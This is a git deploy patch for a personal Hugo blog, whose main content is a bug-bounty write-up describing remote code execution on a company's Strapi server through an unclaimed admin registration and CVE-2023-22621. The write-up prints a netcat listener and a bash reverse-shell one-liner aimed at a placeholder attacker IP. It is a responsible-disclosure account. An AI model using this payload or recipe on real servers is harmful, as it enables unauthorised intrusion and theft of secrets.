From 63e8817656f03df55087ebb7d972be255c035d50 Mon Sep 17 00:00:00 2001 From: tedmdelacruz Date: Wed, 13 Mar 2024 13:14:27 +0000 Subject: [PATCH] deploy: 487320cbf62671c93b516d345bf0b4e937899b03 --- categories/index.html | 2 +- index.html | 4 ++-- posts/hello-world/index.html | 4 ++-- posts/index.html | 4 ++-- posts/strapi-rce-writeup/index.html | 6 +++--- styles.css | 3 +++ tags/index.html | 2 +- 7 files changed, 14 insertions(+), 11 deletions(-) create mode 100644 styles.css diff --git a/categories/index.html b/categories/index.html index 261fcb5..29a2dd7 100644 --- a/categories/index.html +++ b/categories/index.html @@ -1,2 +1,2 @@ Categories · tedmdelacruz -
◐

Categories

    \ No newline at end of file +
    ◐

    Categories

      \ No newline at end of file diff --git a/index.html b/index.html index d7c3655..3924f93 100644 --- a/index.html +++ b/index.html @@ -1,3 +1,3 @@ tedmdelacruz -
      ◐

      Remote code execution in a billion-dollar publicly traded company

      There are 4 things that need to happen in order to find CVE-2023-22621 in the wild: -You need to find a website that is powered by Strapi. The super admin for this website, somehow, has not been claimed yet. The version of Strapi should be at least 4.5.5 and below. No other hacker had somehow seen any of the three aforementioned scenarios first. The stars have aligned in my favor, and with this CVE, I managed to fully take over one of the websites of a billion-dollar company listed on the New York Stock Exchange.

      Hello World

      This is a new space for me to write about tech. Thanks to GitHub Pages and Hugo I’m able set to this up without spending a single dollar.

      \ No newline at end of file +
      ◐

      Remote code execution in a billion-dollar publicly traded company

      There are 4 things that need to happen in order to find CVE-2023-22621 in the wild: +You need to find a website that is powered by Strapi. The super admin for this website, somehow, has not been claimed yet. The version of Strapi should be at least 4.5.5 and below. No other hacker had somehow seen any of the three aforementioned scenarios first. The stars have aligned in my favor, and with this CVE, I managed to fully take over one of the websites of a billion-dollar company listed on the New York Stock Exchange.

      Hello World

      This is a new space for me to write about tech. Thanks to GitHub Pages and Hugo I’m able set to this up without spending a single dollar.

      \ No newline at end of file diff --git a/posts/hello-world/index.html b/posts/hello-world/index.html index 3566ef6..06f91dc 100644 --- a/posts/hello-world/index.html +++ b/posts/hello-world/index.html @@ -1,4 +1,4 @@ Hello World · tedmdelacruz -
      ◐
      Written by +
      ◐
      Written by ted
      on 

      Hello World

      This is a new space for me to write about tech. Thanks to GitHub Pages and Hugo I’m able set to this up without spending a single dollar.

      I’m working on so lots stuff – hunting security vulnerabilities (and hopefully get paid for it) on Hackerone and Bugcrowd, learning Go for my tooling, honing my shell scripting skillz, and modding my mechanical keyboards.

      I’ll write about these soon!

      © . Made with Hugo using the Tale theme.
      \ No newline at end of file +Top
      \ No newline at end of file diff --git a/posts/index.html b/posts/index.html index dc69439..208b17c 100644 --- a/posts/index.html +++ b/posts/index.html @@ -1,3 +1,3 @@ Posts · tedmdelacruz -
      ◐

      Remote code execution in a billion-dollar publicly traded company

      There are 4 things that need to happen in order to find CVE-2023-22621 in the wild: -You need to find a website that is powered by Strapi. The super admin for this website, somehow, has not been claimed yet. The version of Strapi should be at least 4.5.5 and below. No other hacker had somehow seen any of the three aforementioned scenarios first. The stars have aligned in my favor, and with this CVE, I managed to fully take over one of the websites of a billion-dollar company listed on the New York Stock Exchange.

      Hello World

      This is a new space for me to write about tech. Thanks to GitHub Pages and Hugo I’m able set to this up without spending a single dollar.

      \ No newline at end of file +
      ◐

      Remote code execution in a billion-dollar publicly traded company

      There are 4 things that need to happen in order to find CVE-2023-22621 in the wild: +You need to find a website that is powered by Strapi. The super admin for this website, somehow, has not been claimed yet. The version of Strapi should be at least 4.5.5 and below. No other hacker had somehow seen any of the three aforementioned scenarios first. The stars have aligned in my favor, and with this CVE, I managed to fully take over one of the websites of a billion-dollar company listed on the New York Stock Exchange.

      Hello World

      This is a new space for me to write about tech. Thanks to GitHub Pages and Hugo I’m able set to this up without spending a single dollar.

      \ No newline at end of file diff --git a/posts/strapi-rce-writeup/index.html b/posts/strapi-rce-writeup/index.html index 3e96e22..4918803 100644 --- a/posts/strapi-rce-writeup/index.html +++ b/posts/strapi-rce-writeup/index.html @@ -1,5 +1,5 @@ -Remote code execution in a billion-dollar publicly traded company · tedmdelacruz -
      ◐
      Written by +Remote code execution in a billion-dollar publicly traded company · tedmdelacruz +
      ◐
      Written by ted
      on 

      Remote code execution in a billion-dollar publicly traded company

      Thumbnail

      There are 4 things that need to happen in order to find CVE-2023-22621 in the wild:

      • You need to find a website that is powered by Strapi.
      • The super admin for this website, somehow, has not been claimed yet.
      • The version of Strapi should be at least 4.5.5 and below.
      • No other hacker had somehow seen any of the three aforementioned scenarios first.

      The stars have aligned in my favor, and with this CVE, I managed to fully take over one of the websites of a billion-dollar company listed on the New York Stock Exchange.

      And I happen to be invited to their private bug bounty program.

      Reconnaissance

      I have a server that pings me of new subdomains of this company every 5pm Manila time so I can check them out after work.

      Usually I don’t find anything in my probes, and this one: strapi.[redacted].com also didn’t trigger any alarms at first. My automations pinged me about the subdomain of this website around early December 2023, but this website caught my attention during a manual inspection of the company assets that I did around early February 2024.

      I couldn’t believe it at first, but the super admin registration for this website was open. And somehow, no other hacker had seen this before me:

      Admin Registration

      Realizing this was nothing short of exhilarating, since it’s been months since I got a paid bug bounty.

      Escalation

      Claiming the super admin of a website is nice and dandy, but like most other security researchers, I asked myself: “How can I escalate this to something even more severe?”.

      The next step was obvious; I googled ‘strapi cve’. One particular CVE instantly caught my attention: CVE-2023-22621 which allows for an authenicated user to execute the highly coveted remote code execution.

      The CVE ticks all of the boxes:

      • You need to have super admin access (I got that) ✔
      • The version of Strapi should be 4.5.5 and below (This website is on Strapi v3.6.0) ✔

      Exploitation

      The CVE allows for a remote code execution via a reverse shell, which requires an attacker server waiting for incoming TCP connection from a victim server.

      Preparing the attacker server

      I whipped up a small Digital Ocean droplet and using netcat I had it listen to incoming TCP connections in port 1234:

      $ nc -lvnp 1234
      • -l Instructs netcat to listen for incoming TCP connection rather than initiating a connection to a remote host.
      • -v Produces more verbose output.
      • -n Toggles netcat to not do any DNS or service lookups.
      • -p Specifies the port to listen to.

      Executing the reverse shell payload

      The reverse shell payload that worked for me after initial tests in my local network was the following:

      bash -c 'bash -i >& /dev/tcp/[MY_ATTACKER_IP]/1234 0>&1'
@@ -12,4 +12,4 @@

      In order to prove the RCE, I left an inconspicuous text file in the server at /root/tedminfosec.txt:

      root@[redacted]:/home/[redacted]/project/strapi# cat /root/tedminfosec.txt
 hello from tedminfosec@wearehackerone.com

      Impact

      Without disclosing too much about the compromised server, it contains highly sensitive keys and secrets that could have allowed a malicious actor to pivot to other, more sensitive assets in the company’s internal network.

      The malicious actor could have done more than just defacing a website or use it to launch phishing campaigns.

      Since privilege escalation at this point would break the rules of engagement, I decided to stop testing from there.

      Responsible disclosure

      Once that’s done, I took my time to write a detailed vulnerability report and submitted it to the bug bounty program. It was triaged as Critical:

      Strapi RCE triage

      Now that’s how I compromised a server of a company worth more than a billion dollars.

      © . Made with Hugo using the Tale theme.
      \ No newline at end of file +Top
      \ No newline at end of file diff --git a/styles.css b/styles.css new file mode 100644 index 0000000..023e11a --- /dev/null +++ b/styles.css @@ -0,0 +1,3 @@ +div.highlight { + background-color: #272822; +} diff --git a/tags/index.html b/tags/index.html index 5662853..8efbdbb 100644 --- a/tags/index.html +++ b/tags/index.html @@ -1,2 +1,2 @@ Tags · tedmdelacruz -
      ◐

      Tags

        \ No newline at end of file +
        ◐

        Tags

          \ No newline at end of file